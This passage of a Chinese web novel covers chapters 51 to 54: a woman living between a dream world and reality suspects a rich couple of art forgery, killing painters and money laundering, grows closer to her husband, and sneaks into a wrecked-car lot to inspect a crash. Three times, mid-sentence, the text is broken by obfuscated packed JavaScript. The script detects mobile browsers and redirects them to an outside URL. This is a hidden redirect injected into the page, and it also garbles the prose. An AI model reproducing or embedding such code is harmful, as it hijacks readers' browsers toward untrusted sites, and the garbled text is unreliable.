商皓宸摇摇头。发觉自己单纯摇头可能被误解后,他打字告诉林菀,“我家没有他的作品,我也没有看过他的画展。” “那你父母都收藏了谁的作品?” “林乃岳、祁筑庭、翁寒、左翔……” 他说了好几个名字,而林菀越听越觉得脊背发凉。除了祁筑庭,商皓宸提到的其他画家全部才华横溢却英年早逝。怎么可能这么巧? “对了,还有周城。我妈妈今年买了他的画。”商皓宸又加了几句,展示给林菀看,“好像他是你父亲的弟子,是不是?” 周城,他还健康活着。林菀稳住心神,耐心地问,“你怎么知道他?”周城是后起之秀,而且到如今也不算太出名,商皓宸竟然还知道他的名字。 商皓宸想了想,觉得告诉林菀也无妨。“你见过Sam吧?他是我家family office的总经理。他说马上就会有林乃岳油画展,我家也会出一些藏品。” 商皓宸这么一说,林菀就知道Sam是谁了。“我知道他,听说我父亲基金会的秦经理跟他沟通过借藏品。好像就包括你家一幅新收的月季油画。”也就是那幅加百列。 而商皓宸又摇了摇头。“Sam之前的确想拿那幅画出去。可它是我妈妈最喜欢的画,估计不会展出。后来她就吩咐Sam打包其他几幅作品出去,但有个要求是在展会上布置一个桃李角,展示林大师徒弟的作品。” 林菀十分诧异。林乃岳弟子不多又早逝,称不上桃李满天下。如果要布置一个所谓的桃李角,那么肯定大部分都是周城的作品。如今大师班的弟子,水平参差不齐,虽然有徐箴言这样的人中龙凤,但也都不是林乃岳嫡传弟子,不可能展示作品。 所以商氏夫妇是什么意思?要为周城打响名号? “这件事情,Sam和秦经理沟通了吗?” “还没有,Sam被我妈妈安排去佘店出差了,得过两天才回来。” “不是去度假吗?”她勉强笑着问。佘店是莱城附近一个旅游观光地,以山海竹林著称。 “我家在国内有车行生意,他要去打点一下。”他想了想,问道,“你喜欢画吗?” 林菀看着他将这个问句打完又删除,最后还是再打一遍来问她。她淡淡地说道:“以前不了解油画,现在开始喜欢了。跟音乐一样,它也表现人的内心。” 商皓宸静静地看着她,一动不动。 由于雨天堵车,车辆行进速度很慢,但此刻也到达繁寓路。 推门下车,林菀及时撑起伞,挡住噼里啪啦的雨点。商皓宸跟在她身后下车,关上车门时突然注意到林菀左脚的鞋带散了。她穿的是一双在脚腕处系带的黑色高跟鞋。 林菀还在思考刚刚得到的信息,却不料被轻轻拽住胳膊。 商皓宸背着琴盒蹲下去,伸手为她系好湿漉漉的鞋带,在她的脚踝处打了一个蝴蝶结。少年淋雨后的手指是冰凉的,但似乎又带着种莫名的灼热。他的动作很快,可显得小心翼翼,指尖在她的肌肤上触碰,就像水里的游鱼,飞速地碰到水面呼吸一下氧气,然后迅速离开,潜入水底。 林菀一时措手不及,而在她回神时,商皓宸已经站起身,竟然下意识跟她比划哑语。 商皓宸的动作很快,意思是鞋带系好就不会摔跤了。可林菀看不懂。她唯一看懂的就是他选择了最熟稔的沟通方式,以此来守护他此刻慌张又固执的心。 他一把拿过雨伞,以眼神示意她继续往前走。可他走路的姿势却僵硬极了。他不看她,眼神紧张又有些难过。 林菀便也沉默着,踏着水花,一步步回到楼栋门口。她走到屋檐下,而商皓宸还撑着雨伞,站在雨里。 “……谢谢你送我过来。”她看向他,“快点回家收拾一下吧。”她没有邀请他上楼。 商皓宸抿抿嘴唇,没有动。半晌,他从手提袋里拿出一块刚刚在店里买的高档松香递过来。他注意到了,林菀在这块松香上停留目光的时间最多。 “谢谢你陪我买松香。”这一次,商皓宸选择开口,一字一句地表达他的意思。他无法发出声音,所以更像是说唇语。他对她总是过于小心翼翼,就算送礼物也要小心翼翼地找到借口,生怕惹她不快。 而林菀,终于看懂了他的唇语。她的视线落到那块松香上,不好拂了他的面子,最终伸手接下。“谢谢。” “你喜欢就好。”他依旧开口说。 然后,他头也不回地朝小区门口走去。 林菀站在原地,目送他离开。 …… “我不想吃法餐,我想吃上次你做的番茄鲜虾面。” 林菀一句话说出来,徐箴言的晚间计划变成两人一起逛超市买菜,然后回家做饭。林菀坚持也要下厨帮忙。 “那就烧开水吧。”徐箴言便说。 林菀倒水进锅子开火,然后就凑到徐箴言身边,从后面抱着他的腰。他的腰很窄,两手绕过去正好搂住,而他的肩膀很宽,衬衫还有洗过后留香的清爽好闻味道。肌肤的温度透过衬衫传来,她将脸贴在他背上,听着他从胸腔传过来的说话声。 “商皓宸今天跟你说了什么?”他看出林菀今晚情绪不对劲,果断地认定为那个少年说了什么不该说的话。他甚至怀疑商皓宸跟她表白了也说不定。 “……没有。”林菀搂紧他的腰,又换了个贴脸的方向,“只是今天出门一趟,发现他在乐理方面基础挺扎实。技术方面勤加练习便可。看来……没有再继续教他的必要了。” “这由你来做决定。”徐箴言动作停顿几秒,转过身来抬起她的脸,亲吻了一下她的鼻尖,“不管想做什么,我都支持你。” 林菀笑了,将头埋在他肩头。 徐箴言没有再说话,任由她这么静静抱着自己。锅里水咕嘟嘟冒泡,林菀重新打起精神,从冰箱里拿手擀面出来,开始聊正事儿,“我跟商皓宸确认过了,他父母投资的艺术家的确都离奇早逝,除了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102868|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祁筑庭。” 由于跟商皓宸接触时间长,她能够将他和商氏夫妇分开看待。可思索一番,她还是对他感觉复杂。那样诡异的父母,怎么教养出如此单纯的孩子?莫不是顾及他先天缺陷? “你知道我想的是什么吗?”徐箴言看向她,“祁筑庭活着都没法分辨油画真伪,而其他人……死无对证才方便制作伪画。” “我也有这种看法。一幅伪画转手便是上千万的价格。几幅画便可轻松上亿,成本可能不足一千。”林菀神色不宁,突然心跳有些发慌,“那幅加百列,他们最近不打算展出了,反而购买了周城的画,还想在我父亲油画展上展出周城的画。” 她意识到周城会有生命危险,而她在徐箴言眼中看到了同样的担心。 “找机会,提醒他注意安全。”徐箴言毫不犹豫地说。 林菀点点头,又继续说道:“我问过我妈,据她了解,商氏夫妇就是靠倒腾艺术品发家。艺术品,就是奢侈品。买家愿意砸钱无外乎几个原因,一,欣赏喜欢;二,装点门面;三,投资理财;四,避税洗钱。他们如果真爱好油画,既然都如此富有,为何从不购买欧洲经典油画?只在国内现代作品里打转,而且专挑年轻有前途的画家。偏偏被他们看上的画家统统没有好结果。” 徐箴言皱起眉头,思绪繁杂交替。且不说画家问题,商氏夫妇依靠在国内转卖艺术品暴富,此后移民国外,再也不回国。而如今国家对外汇管控严格,商氏夫妇如果想要把国内的大笔资金挪出去的话……艺术品出境,是个有漏洞可钻的途径。所以,他们极有可能靠艺术品发家,也靠艺术品转移资产。 “除了艺术品买卖,夫妻俩在国内还有一个车行。我查过了,是一个租车行。”林菀说。 徐箴言目光渐沉,越发感觉不妙。在金融系统工作的他,敏锐地嗅到了一些不正常的气息。“互联网汽车租赁?” “对。怎么?” “这是新兴产业,行业监管不到位,规章制度不健全,而且客户身份识别流于形式,交易灵活,汽车价值高昂。”他顿了顿,“存在相当大的洗钱漏洞。” 洗钱,竟然又是洗钱。太诡异了。林菀按捺住心头暗涌,细细回想着她查到的那个租车行信息,突然心头一跳,不安的预感出现,“庞涛的堂弟孟豪和他哥们当时蓄意追尾我的车,他们驾驶的是从租车行借的车。” 徐箴言瞬间眉头紧拧,“商皓宸父母的租车行叫什么名字?” “九州扬腾。” 他立即掏手机给江小姗打电话,半晌,他放下手机,朝林菀点点头。 “就是那家店。” 林菀倒吸一口气,咬紧了牙关。 似乎,一切都能被串起来了。商氏夫妇投资极具才华的当代画家,被投资的画家们都古怪地英年早逝。夫妇俩极有可能制作伪画继续挣钱,由于资金数额巨大,所以有两条洗钱渠道,一是艺术品买卖,二是经营租车行。 林菀很清楚,在商氏夫妇转手的作品当中,林乃岳的作品升值最高。而伪画总有被识破的风险,随着伪画越来越多,为了规避风险,就得铲除林菀和林珠莉,以免母女俩发现伪画。而徐箴言,作为加百列原作的创作者,自然也有生命危险。 商氏夫妇,极有可能发现了庞涛跟林菀和徐箴言都不对付。 庞涛,是一个容易的收买对象,也是一个完美的替死鬼。 就此,水到渠成。 而林菀,则需要进一步验证她的揣测。 52. 半夜再次失踪 夜深,雨势未减。路灯下,哗啦啦的雨像密密麻麻的银针一样射向地面。 徐箴言打了几个电话核对信息,然后关上随身携带的工作电脑,看向林菀,“你说的没错。庞涛的确跟Sheryl Shang有过工作往来。而且……”他眼波微动,“Sheryl Shang有三个国家的护照,英国、加拿大以及新西兰。她在我们银行留存的是英国国籍。” 商皓宸的母亲竟然拥有三个国籍,这也就意味着实际上她的踪迹很难被外人掌握。她可以真正做到身份不定,行踪不定。 “有照片吗?她有没有来过你们银行?”林菀立即问。 “明天我上班问问。” “好,我跟周城联系过了,他最近每天都去莱城艺术创意基地的展馆。我明天去那里找他。” “让涂淼陪你一起去吧。”徐箴言起身。基于第六感,他有点介意周城跟林菀待在一起。 林菀看出他心中所想,忍不住捏捏他的脸颊,“我跟他很早就认识,不用担心什么。” “好吧,我该回去了。”他提起电脑包。时间不早,已经十点了。 林菀看了眼窗外的大雨,涂淼刚刚给她发信息说今晚在工作室休息间凑合一晚,不回来了,明天还有很多活儿。 “你要不——”林菀有点不自然地挪开眼神,竭力装作平静,“留下来?”哎,为什么,为什么都结婚了,她还是觉得不好意思呢? “雨太大了。”她又说。 徐箴言凝视着她,拎着电脑包的手紧了紧,喉结动了两下,“好。” 他简简单单一个好字,让林菀的心跳突然上了高速公路。她转身拉上落地窗的窗帘,以假装镇定。 他贴近她的后背,微微附身,搂住她的腰,感受到她的脊背突然僵硬。 “你还没想起来以前的事情,是不是?”他轻轻吻了一下她的耳朵。 “只有一点点。”她的声音很小。 顿了半晌,他收紧胳膊,将她整个笼罩在怀里,声音低柔,“不要害怕我。” “嗯。”她的声音生涩极了。 …… 林菀先去洗漱。蒸腾的热气晕入她的脸颊,衬托得脸蛋娇艳,粉雕玉琢似的。可她的心脏一直杂乱无章地跳着。洗漱好,她装作随意的样子,一边擦头发一边从浴室出来,看到徐箴言在门口拿外卖,一边说谢谢,一边关门。 他临时买的都是一些必需品,拎着直接放进卧室,“我去洗漱了?” “好,毛巾已经放在浴室了。” 一阵心慌意乱猛地窜起,林菀连忙转身回到客厅,打开酒柜,拿出涂淼留在这里的红酒,咕咚咕咚喝了一大杯。 她划亮手机屏幕看时间,一眼瞅到当地新闻推送,便直接清屏,完全没有留意新闻内容——由于太阳活动强烈影响气候,本地近期降水增多。 喝完红酒,林菀回到卧室扑到床上,听着浴室的哗哗声,她将头埋进枕头里,闭上眼睛,感受强烈的心跳。 …… 而等到她在黑暗中一觉醒来,猛地睁开眼睛,发现已经是凌晨四点。 林菀刷地坐起身,打开床头灯,环视周围环境——完了。此刻,她竟然已经身处现实世界。 她不应该喝酒的,喝完回到床上后发生了什么她完全不知道。她可能当着徐箴言的面穿越了。意识到这一点,林菀突然感觉周遭暗沉沉的黑色压过来,压得她喘不过气。 她慌张地下床,冲到浴室门口打开门,里头寂静无人。她靠着墙壁僵硬地慢慢坐下来,强迫自己深呼吸。在一呼一吸之间,她感觉到心口的痛楚慢慢地蔓延开来。眼眶酸疼,酸疼到她用手捂住眼睛,连掌心都刺痛。 该来的还是来了。她曾经设想过该如何向徐箴言坦白,可万万没料到是被他在这种情况下发现。主动坦白跟被动发现可谓千差万别。活生生的一个人不见了,他一定非常担心。而等他反应过来,又肯定会觉得她是个骗子。 事已至此,她甚至都不再考虑徐箴言是否能接受她的真实身份,而是担心他发现被欺骗后该是多么震惊难过。 那么好的一个人,生活对他而言本就足够坎坷。他将她视为唯一,然而被最重视的人欺骗感情该怎么办? 不知过了多久,闹钟响起。林菀失魂落魄地起身。她依旧悔得心脏发麻,可后悔没用。 来到公司时,她不意外地迟到了。 Maggie奇怪地打量着她,“你是昨晚没休息好,还是得红眼病了?” 林菀沉默着,摇摇头。 谭姿跟高层开会回来,将文件夹放下就将林菀、曹磊和Maggie喊过来,“准备一下,现在去林吾开画展的展馆。” 一刻钟后,大家上了公司的商务车,这次由曹磊开车。谭姿孕肚已经初现,坐在后排系上安全带后,圆润的腹部更加明显。 “这是林吾的个人画册?”Maggie坐在谭姿身边,瞧她在翻看一本艺术画册。 “嗯,了解下来,发现油画相当具有鉴赏性。” “那就买林吾的油画呗。” “他的画我可买不起。但一些小画家的作品还能考虑考虑。” 林菀坐在副驾驶,突然抬了抬眼眸。两人的对话将她一直繁乱的思绪拉回来。 对,这就是问题。谭姿是因为资金不够,所以考虑不太出名的画家。而Sheryl Shang作为有家族办公室的顶级富豪,怎么还能将小画家的作品看入眼?她若真有心做伯乐,可也没像林珠莉创办基金会这样实打实地扶持下一代画家们。 “这张画怎么全是点啊,密密麻麻的。”Maggie又问。 “我也不清楚,一种特色?”谭姿说。 林菀朝后扫了一眼,“这是点彩派油画,也叫新印象派,特点是不用轮廓勾画形象,而是用点形成图像。你们可以去看保罗·西涅克的画。” 谭姿和Maggie都诧异地看向她。 “你不是对油画完全不感兴趣么?”谭姿问。 “……最近也有了解。” “所以我说Nora平时私底下都在为工作暗暗努力呢。”Maggie似笑非笑。 “不应该吗?”林菀淡淡地反问。 Maggie尴尬一笑,没有再说话。 到达目的地,是一个小时后。林菀下车就愣住了,他们竟然在莱城艺术创意基地。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102869|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“林吾的展馆在米卡艺术中心,看看在哪儿?”谭姿抬头眯起眼看路牌。曹磊连忙拿出手机准备导航。 林菀稳了稳心神,深呼吸一口气,可脸色却略显苍白,“我知道那个地方……跟我来。” 太诡异了,这感觉太诡异了。在梦中世界,她在帮林乃岳举办画展。而在现实世界,她竟然开始帮画家林吾举办画展,并且都是在同一个地方。怎么会有如此巧合又如此离谱的事情?林乃岳、林吾,为什么都姓林? “林吾今天会过来吗?”Maggie连忙跟上谭姿。 “不过来。你还想认识他?”谭姿有些揶揄。 “哎呀,谭姐,谁不喜欢帅哥呐。” 转过两个路口,便到了展馆大门口。林菀心里又是一沉。林吾画展竟然也是一楼和二楼,此刻正在做室内装修。 一个经理模样的人瞧见他们过来,立马过来迎接,笑着跟谭姿握手,然后喊大家一起去三楼开会。 林菀又是心跳漏了一拍。她记起来了,在梦中世界也见过这个男人,他是这个展馆的中层负责人。 负责人一边介绍情况,一边带领大家穿过正在装修的大厅。林菀看着眼前无比眼熟的场景,一步一心惊。不知为何,她有一种隐隐约约的不安预感。 这种不安带着一种错乱感持续了整个会议。公司有人同城送紧急文件来时,她甚至迷离到问是不是她妈妈来找她。突然之间,她有些想念她妈妈了。 一整天的工作便在不安与焦躁当中度过。快到下班时,她突生一股勇气,迫不及待地希望赶紧回去那个世界。就算她不是鼎鼎大名的小提琴家又何妨?她要将一切摊开讲清楚,然后任由徐箴言选择。她无法掌控他的行为,但是她能掌控自己的心。她会道歉,如果他不能接受,那就直面命运吧。起码从此以后她不再有心理压力了,她能继续堂堂正正地做人。反正涂淼接受她,而林珠莉,应该也会接受她吧。 可是当时间接近午夜,林菀又打起退堂鼓,在地铁站外徘徊不休。为何一直不肯跟他说清楚?因为她也贪恋小提琴家的身份。普通上班族怎么可能跟小提琴家比?她无法做到在两种身份转换当中沉稳自如而不自卑。否则她就是个圣人了。 现实是,她只是一个普通人,拥有七情六欲,感受人间一切喜怒。 最终,她咬咬牙,一横心踏入地铁。 五六站的时间,既快速又漫长。待她走出地铁,刷卡出闸机,抬头便看到徐箴言和涂淼一起等在进站口。 她脚下猛地一顿,再次深呼吸几次,朝那边走去。涂淼急匆匆过来,压低声音,“不要怕。他说要单独跟你聊聊。我在外面等你。如果你被欺负了就喊一声,我进来就打爆他的头。” 林菀勉强一笑,但她知道此刻自己的笑容比哭还难看。她盯着涂淼离开的背影,直到再也看不到,才强迫自己将视线挪到徐箴言脸上。 他今天穿了黑色裤子,配棕红色衬衫,半掩的胸口露出打底的白T恤。他一向是注意形象的,所以总是显得身材修长,一丝不苟。 “涂淼都告诉我了。” 这是他开口第一句话,语气平静极了。 林菀的瞳孔则猛地震了一震。 53. 第一次留宿 “为什么没有告诉我?”他慢慢地走近。为什么她所有事情都只跟涂淼讲? “你相信涂淼告诉你的故事?不觉得是我脑子有问题?” 林菀面向他,表情仿佛坦然,但暗地里手心已经沁出汗珠。 徐箴言摇头。 林菀胸口深深起伏着,她决定说出实话,不想遮掩自己的任何想法。“……因为担心在你眼里,我没有光芒了。” “这是你最不需要担心的事情。”他漆黑如墨的眼瞳凝视着她,“不做小提琴家也不要紧。” 林菀心里狠狠一抽,突然看向别处,想压住胸中翻涌的情绪。 “你还是你吗?”他看着她,停顿片刻,又说,“还是那个喜欢兔子玩偶的林菀?” 林菀张了张嘴却感觉喉咙酸堵,暗自做着深呼吸,无声地点点头。 “也是习惯跟我一起讨论单位八卦的林菀……没有变过?” 她继续慢慢点头。 “那更是不管我画什么,都能看懂的林菀?” 她略微一颤,再次点头。 “回家吧。”徐箴言朝她伸出手,目光盈盈,温柔一笑,“加班到现在,还得赶地铁过来,辛苦了。” 这一句话出来,林菀瞬间湿润了眼眶。 “可能你不记得了,我们曾经一起看过一部英国电影。里面的男主人对女主角表白说,I like you very much, just as you are. 我喜欢你,就是你如今的样子。这句话我也想告诉你。”他轻轻将她搂入怀中,安抚地拍着后背,低声在她耳边说,“我爱的是你站在我面前本来的模样。”跟地位无关,跟职业无关。 林菀紧紧抓住他衬衣侧腰,将头埋入他胸口。 “而且,我跟你表白的时候,还没去过你的演奏会……来这边后努力练琴,辛苦了。”他再一次说了辛苦,低头吻了她的手指,“不管你想做什么,我都会支持你。不过,你得先告诉我,品牌运营是什么样的工作,我还没了解过。你遇到什么人,有哪些朋友,工作上开不开心,请务必都告诉我。” …… 夜已深,一轮弯月遮掩在浓厚的云层里,偶尔泄下一丝银光撒向沉睡的大地。蟋蟀在草丛里窸窸窣窣,徒留午夜的路灯在楼下草丛里静默。 同样安静的卧室里,窗帘随着夜晚的柔风轻轻摇摆。 “如果不舒服,就告诉我。” “嗯……” “不要咬唇,不要紧张。” “我做不到……” “那我慢一点……难受吗?” “不……啊……草莓味?” “我喜欢的口味……别动——” …… 床头的夜灯时钟,显示此刻是午夜三点半。 林菀侧躺,微微蜷曲着身子,面向夜色中的朦胧纱帘和窗外模糊的月色。徐箴言在她身后,以同样的姿势躺着,胳膊伸出被子,将她半搂在怀中。 “我在那边……也有一个兔子。”她摸着枕头边兔子抱枕的耳朵,就算睡意朦胧还是不肯闭上眼睛。“喜欢每天抱着它睡觉。” “那小兔子也喜欢吗?”他的声音又柔又慢,听上去像陷在棉花糖一般的梦乡里。 林菀笑了,转身伸手摸摸他的脸。徐箴言在黑暗中睁开眼睛,凝视着近在咫尺的她。 “你在那边……到底是什么样的人?”林菀轻声问。 “我不知道。” “那你做过梦吗?梦到你的另一种人生。” 徐箴言细细地思考着,回忆自己记得的所有梦境,然而——“没有。” 林菀突然庆幸这是半夜,他看不到她脸上的失落。 “听涂淼讲的意思……这个时空是你的梦中世界?”他低声说。 林菀一怔。涂淼都不曾悟到过这一点,而徐箴言很快便明白了。 见她不说话,便是默认。徐箴言伸手,将指尖插进她的黑发,与她额头相抵,“看来,我也在梦中生活……你真的不认识现实中的我?” 林菀没有说话,而是缩进他怀里,靠在他胸口,听他的心跳,以这样的方式感受他的存在。 “怎么会不认识呢?怎么会呢……”他仿佛在质问自己。他思来想去,不能接受这个答案。 “在这边,我们俩同岁。可是在那边,我迟出生五年。所以,其实我……来自五年后的时空。”她伸出手,感受他胸膛上的肌肉纹理,他脖颈上跳动的脉搏。这是她真真正正拥有的爱人,一个活生生的属于她的人。 “五年后……你去过我的单位吗?我应该还在那里工作。” “没有,你不在那里。”她有些忧郁,但不愿放弃,“或者想想,如果换一个人生,你想成为什么人?” 他认真思考着,“好像什么都可以,我没有太多要求。”这话说出来,他明显感觉林菀缩了一下,便半开玩笑一般道,“夏天这么热,就算是成为一阵凉风都可以。” “我是认真的。”林菀也忍不住笑,以为他就一直在开玩笑。 “那……我再想想。” 林菀沉默着,突然被一阵心慌包裹。“我带你过去,好不好?”她的声音有些微微颤抖,“我们一起在现实世界生活。我不能忍受只在梦里见到你。” 徐箴言将她紧紧搂进怀里,亲吻她的头顶。 …… 第二天。 麦柯再一次跟商皓宸一起敲开林菀的大门。 “啊……空调师傅你好。”他竟然看到开门的又是空调师傅。 “进来吧。”徐箴言说。今天他看这两人顺眼多了。 徐箴言穿着休闲裤和T恤衫,脚下踩着一双明显不属于客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“以后你不必再来了。不过如若有乐理上不懂的地方,我们可以偶尔讨论。”她依旧对商皓宸说。 商皓宸默不作声地垂眸。半晌,他僵硬着脊背,微微欠身,朝林菀致礼。不会说话,他只能用肢体表达自己的情绪。他多想拥抱她,可是不能。 这一次从林菀家出来,他如同第一次那般,没有搭车回家,而是出了小区便奔跑起来。他不停歇地跑着,直到心脏几乎跳出嗓子眼才气喘吁吁地在桥上停下脚步。望着夕阳下碧波粼粼的水面,他大口呼吸着空气,将胳膊支在栏杆上,慢慢将头也靠过去。枕在汗津津的胳膊上,他直视地面,有水珠顺着他的眉梢划过眼角滴落。 那是咸的,正如泪水一样。 …… 54. 豪车事故 课程结束后,林菀立即打车去了莱城艺术创意基地。她刚刚下车就见到周城从路口走过。 “周城哥!”她立即叫住他。 周城有些惊讶,他结束一天工作正要开车回家。“都快天黑了,你怎么现在过来?” “……听说前段时间,这儿一个培训学校装修,砸死了一个建筑工人。我特意过来看看展馆装修。” “哦,那事儿我也知道。放心,秦经理找的人很专业。” “可你没有接触过装修这些事情,平日里要多注意安全。”林菀仔细叮嘱。 周城笑了,在夕阳的照射中容光焕发,“谢谢。本来应该请你吃饭,不过秦经理说,画展要挑我的几幅画出来展览,所以我还得赶回去做创作。” 林菀心里咯噔一下,勉强笑道,“恭喜。可你一定要注意安全。” “我知道。我送你回去?” “不了,我进去看看。”她拒绝,寒暄几句,看着周城开车离开。 林菀慢慢收了脸上的笑容,陷入沉思。此刻,她也不准备去展馆,而是打开微信,看徐箴言发出来的地址。 徐箴言下午出门,交物业费只是不方便对外人明说的借口,实则是去公司调查Sheryl Shang。他没找到这位商女士的照片,但知道她三个月前还跟庞涛见过面。并且,她的家庭办公室总经理Sam去佘店,是为了处理一桩车祸。 …… 一个小时后,天色全暗,夜色早已降临。 郊区,无人来往的事故车辆停车场。整个停车场占据一个被铲平的小山头,周遭树木掩映,一栋白色值班房伫立在大门内。此刻,锈迹斑斑的蓝色大铁门紧闭,从缝隙里看到门栓上挂着沉甸甸的锁头。 “晚上没啥活儿,值班人员一般呆在办公室里看电视。”徐箴言开车慢慢驶过大铁门,绕到旁边的小路上,“我们只要避开门口的摄像头,就能翻墙进去。” 一听到这话,坐在后座的江小姗忍不住再次愁眉苦脸地叹气。什么仇什么怨啊,他为什么要被徐箴言拉来干这种偷偷摸摸的勾当。可是……唉。徐箴言说要打听一桩车祸。那车祸发生多日,去现场是不可能找到痕迹了,只能来这里。 “这个地方可以。”林菀观察着外面的地形。一片外墙下,草丛不深,且有几块大石头。 停下车,徐箴言掏出无香防蚊液给林菀上下喷了一身,然后把江小姗拉过来,“你要不要?” “唉,来都来了。” 徐箴言便给他也喷了一圈。收拾妥当,他吩咐二人戴好手套。“你们先留在这里,我进去看看。” “当心。”林菀叮嘱。 徐箴言点点头,后退几步,助跑跃身。基于以前在部队训练的基础,他轻轻松松攀上围墙顶端,不费力地跳过围墙。 一分钟后,他隔着围墙说道:“进来吧。小姗你帮个忙,谢谢。” 江小姗蹲下身,抬头看林菀,“你踩我肩膀爬上去。” “我垒石头就行。” “没事。我们在部队就是这样训练。你站稳了。”江小姗道。 在江小姗的帮助下,林菀跨过围墙,抬腿跳下。徐箴言及时抱住她,将她放在地上,然后问墙壁那边的好友,“你想过来吗?” “唉,来都来了……” 话音刚落,江小姗便也跳了下来。 夜色弥漫,虫鸣阵阵。待眼睛适应黑暗后,林菀禁不住起了一身鸡皮疙瘩。 她眼前这个事故车辆停车场,堪比汽车乱葬岗。一条泥土路弯弯曲曲贯通整个停车场。他们面前摆着的是成排的电动车,在黑暗中静默。而其他区域则停着一辆辆小轿车,以及更远的地方,有大巴车、卡车等大型车辆的模糊扭曲轮廓。 整个停车场杂草丛生,很多车已经被挤挤挨挨的植物包围,没有任何下脚之地。 不远处,值班房里有一盏小小的灯亮着。林菀仔细打量值班房片刻,然后深吸一口气,转身朝小轿车摆放区域走。 草丛里的蚊虫骚乱起来,嗡嗡声不断。有野猫从破碎车窗跳出来,凄厉地嘶叫着炸毛,蹿向远处。 这些动静时不时打断一行三人的脚步。林菀越观察越心惊。她已经被事故车辆包围,这些车辆有的被挤压扁平,血迹干涸;有的烟熏火燎,只剩下空荡荡的躯壳;有的只剩下后半截,前半截被撞得稀烂;还有的两辆车叠压在一起,在风中偶尔发出吱呀一声响。但好在能从车辆积灰程度以及道路延伸方向分辨出新放进来的车在哪里。 “找到了。”林菀终于在一片死寂当中发现了那辆伤痕累累的宝马跑车。 黑暗中,原本奢华无比的跑车停在路边,保险杠已经掉了,车前盖上全是划痕,还粘着植物挤压的绿色汁液与泥土灰尘。挡风玻璃全碎,扭曲的门上血液四溅,还没褪成褐色。 江小姗看到这辆车就进入工作状态,率先绕过林菀蹲到车前四处研究。 “有人!”徐箴言立即护住林菀,也一起蹲下来。 三人屏息凝神,看到那个工作人员拎着手电筒出来晃荡一圈,倒了垃圾,然后又回到值班房。 重归安静,三人再次开始活动。 “我打听到的是有个鲁某从商家车行租了一辆宝马,大晚上回村里老家时一不小心冲下路边斜坡,车辆失控翻滚致人当场死亡。”说完,徐箴言回头再次注意了一下值班房的动静。 “然后被路过的人发现了?”林菀问。 “没,被鲁某村里人放羊时发现了。鲁某家里人没报警,偷偷处理了他的后事,把车推进山坡下的沟底,想把这事儿掩过去。”他顿了顿,“因为这辆车赔偿款太高了。” “那这事儿是被谁捅出来的?” “车行在佘店的负责人报警丢车。刚好鲁某村里有些没事干凑热闹的无业小伙子在抖音上发了一些乱七八糟的事故视频,被盯上了。”徐箴言说,“至于Sam过去是怎么处理这件事,还没打听到,可能还没协商好。” “说奇怪也不奇怪,可是怎么就跟我爸基金会那个前任经理一样,出事都遮遮掩掩的,家里人不敢报警?”林菀觉得离谱。刘经理那边,有地位不缺钱,可好面子,所以他家人低调处理刘经理大保健后酗酒死亡的事故。而这边,乡村里的鲁家怕摊上天价罚款,为了不赔钱也隐秘地处理其后事。 “如果是人为制造……那么挺好的,不是么?绝不会被人查出猫腻。” 江小姗没有管二人的对话,反而在一番研究后回头吐槽,“这车的破拆手法太粗暴了,一看就是瞎搞。”他指着扭曲的车门,“门本来还能打开,结果被工具砸得打不开了,没办法就捅破玻璃,把人拖出来,刮得车窗边缘全是血。” “小点声。”徐箴言做个嘘的手势。 “如此粗暴,看来那人的确是当场死亡。”林菀低声说,“你还看出其他问题没?” “我平时出任务还真没遇到过这种情况。”他想了想,“考试也没考过这些内容呢。”江小姗说完,又跑到被破坏的保险杠那里查看,突然皱起眉头,“这车的引擎盖被强行打开过。” “你怎么知道?”林菀立即问。 “大部分的车啊,想要打开引擎盖,就去驾驶位,脚边有个拉手一样的东西,轻轻一拉,引擎盖就能打开。但是宝马部分车系——包括这辆车——不一样。驾驶位的手柄得拉两下,然后到这里,”他指指引擎盖前面的一个点儿,“还有个开关,抠一下就可以。” 林菀弯腰,不敢打开手机手电筒,但在手机亮屏的微弱灯光下仔细观察江小姗说的那个地方。引擎盖边缘有反复出现的撬痕,说明有人不知道在怎么开引擎盖的情况下,强行打开引擎盖过。 “这辆车是豪车,按理说专业修理师不会出现这样的问题。”徐箴言思考着。 “确实。”江小姗点点头。 林菀又问他,“你能打开引擎盖,看一下吗?” “可以,但是——”江小姗朝值班房看了看,“这辆车已经损坏,打开时摩擦发出的声音可能很大。” 林菀细细一想,立即道,“你等等。”她蹲下身,在草丛里点开手机,找到一段野猫叫春打架的视频,先用耳机听了听,然后取下耳机,调大音量。“我喊一二三,你打开盖子,我播放野猫叫春的声音。” “好办法。”江小姗竖起大拇指。 “一、二、三——” “喵——” 夜半凄厉的猫叫声完美遮掩了车前盖打开的砰砰声。 乍一看,里头各种机械装置没有多少灰尘,只是被挤压变形。林菀稳稳心神,再次弯腰仔细查看。徐箴言也蹲下来,从侧面破损处查看。 突然之间,一小段白色的东西引起林菀的注意。她用一根木棍将那白色东西从引擎缝隙里挑出来。 